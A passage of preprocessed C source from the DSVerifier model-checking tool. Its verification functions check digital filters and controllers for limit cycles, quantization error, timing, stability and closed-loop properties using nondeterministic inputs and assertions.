double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
int l;
for(l = 0; l < nStates; l++){
stateMatrix[l][k] = _controller.states[l][0];
}
for(l = 0; l < nOutputs; l++){
stateMatrix[l][k] = _controller.outputs[l][0];
}
k++;
}
printf("#matrix STATES -------------------------------");
print_matrix(stateMatrix,nStates,0);
printf("#matrix OUTPUTS -------------------------------");
print_matrix(outputMatrix,nOutputs,0);
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 93, __extension__ __PRETTY_FUNCTION__); }))
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
for(i=0; i<nStates;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = stateMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
for(i=0; i<nOutputs;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = outputMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 110, __extension__ __PRETTY_FUNCTION__); }))
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
}
int verify_limit_cycle(void){
overflow_mode = 3;
int i;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
__DSVERIFIER_assert(X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na);
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 168 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t xaux[ds.b_size];
int nondet_constant_input = nondet_int();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = nondet_constant_input;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t y0[ds.a_size];
fxp_t waux[Nw];
fxp_t w0[Nw];
# 206 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 228 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
shiftR(0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 278 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 34 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
extern digital_system ds;
extern implementation impl;
int verify_error(void){
overflow_mode = 2;
double a_cascade[100];
int a_cascade_size;
double b_cascade[100];
int b_cascade_size;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 69 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
double yf[X_SIZE_VALUE];
double xf[X_SIZE_VALUE];
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
double yfaux[ds.a_size];
double xfaux[ds.b_size];
double wfaux[Nw];
int i;
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
yfaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
xfaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
wfaux[i] = 0;
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
yf[i] = 0.0f;
xf[i] = fxp_to_double(x[i]);
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 139 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
shiftRboth(0.0f, wfaux, 0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
yf[i] = double_direct_form_2(wfaux, xf[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 169 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
double absolute_error = yf[i] - fxp_to_double(y[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 35 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 1
# 13 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
int verify_zero_input_limit_cycle(void){
overflow_mode = 3;
int i,j;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
((void) sizeof ((
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ; else __assert_fail (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
"X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na"
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h", 23, __extension__ __PRETTY_FUNCTION__); }))
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 71 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = 0;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
fxp_t y0[ds.a_size];
fxp_t w0[Nw];
# 104 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
for(i=0; i<X_SIZE_VALUE; ++i){
# 132 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
shiftR(0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 188 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
extern hardware hw;
int generic_timer = 0;
int verify_generic_timing(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
double initial_timer = generic_timer;
for (i = 0; i < X_SIZE_VALUE; ++i) {
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.adiw) + (2 * hw.assembly.std));
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.cpi) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
# 79 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
generic_timing_shift_r_double(0, waux, Nw);
y[i] = generic_timing_double_direct_form_2(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
double spent_time = (((double) generic_timer) * hw.cycle);
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
((void) sizeof ((
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ; else __assert_fail (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
"spent_time <= ds.sample_time"
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h", 89, __extension__ __PRETTY_FUNCTION__); }))
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
;
generic_timer = initial_timer;
}
return 0;
}
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_timing_msp_430(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 69 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
shiftR(0, waux, Nw);
y[i] = double_direct_form_2_MSP430(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 121 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
}
return 0;
}
# 38 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
extern digital_system ds;
extern implementation impl;
int verify_stability(void){
overflow_mode = 0;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
((void) sizeof ((
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ; else __assert_fail (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
"check_stability(_a, ds.a_size)"
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h", 37, __extension__ __PRETTY_FUNCTION__); }))
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
;
# 83 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
return 0;
}
# 39 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
extern digital_system ds;
extern implementation impl;
int verify_minimum_phase(void){
overflow_mode = 0;
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
__DSVERIFIER_assert(check_stability(_b, ds.b_size));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
return 0;
}
# 40 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_stability_closedloop_using_dslib(void){
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 68 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
printf("Verifying stability for closedloop function\n");
__DSVERIFIER_assert(check_stability_closedloop(ans_den, ans_den_size, p_num, p_num_size, p_den, p_den_size));
return 0;
}
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
double nondet_double();
int verify_limit_cycle_closed_loop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 58 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
int i;
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux[i] = nondet_constant_input;
}
double yaux[ans_den_size];
double y0[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux[Nw];
double w0[Nw];
# 105 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= impl.min && waux[i] <= impl.max);
w0[i] = waux[i];
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 128 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
shiftRDdouble(0, waux, Nw);
y[i] = double_direct_form_2(waux, x[i], ans_den, ans_num, ans_den_size, ans_num_size);
}
double_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 42 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_error_closedloop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 56 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num_double[100];
double ans_num_qtz[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den_qtz[100];
double ans_den_double[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 77 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
int i;
double y_qtz[X_SIZE_VALUE];
double y_double[X_SIZE_VALUE];
double x_qtz[X_SIZE_VALUE];
double x_double[X_SIZE_VALUE];
double xaux_qtz[ans_num_size];
double xaux_double[ans_num_size];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x_qtz[i] = nondet_constant_input;
x_double[i] = nondet_constant_input;
y_qtz[i] = 0;
y_double[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux_qtz[i] = nondet_constant_input;
xaux_double[i] = nondet_constant_input;
}
double yaux_qtz[ans_den_size];
double yaux_double[ans_den_size];
double y0_qtz[ans_den_size];
double y0_double[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux_qtz[Nw];
double waux_double[Nw];
double w0_qtz[Nw];
double w0_double[Nw];
for (i = 0; i < Nw; ++i) {
waux_qtz[i] = 0;
waux_double[i] = 0;
}
for(i=0; i<X_SIZE_VALUE; ++i){
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
shiftRDdouble(0, waux_qtz, Nw);
y_qtz[i] = double_direct_form_2(waux_qtz, x_qtz[i], ans_den_qtz, ans_num_qtz, ans_den_size, ans_num_size);
shiftRDdouble(0, waux_double, Nw);
y_double[i] = double_direct_form_2(waux_double, x_double[i], ans_den_double, ans_num_double, ans_den_size, ans_num_size);
# 156 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
double absolute_error = y_double[i] - fxp_to_double(y_qtz[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
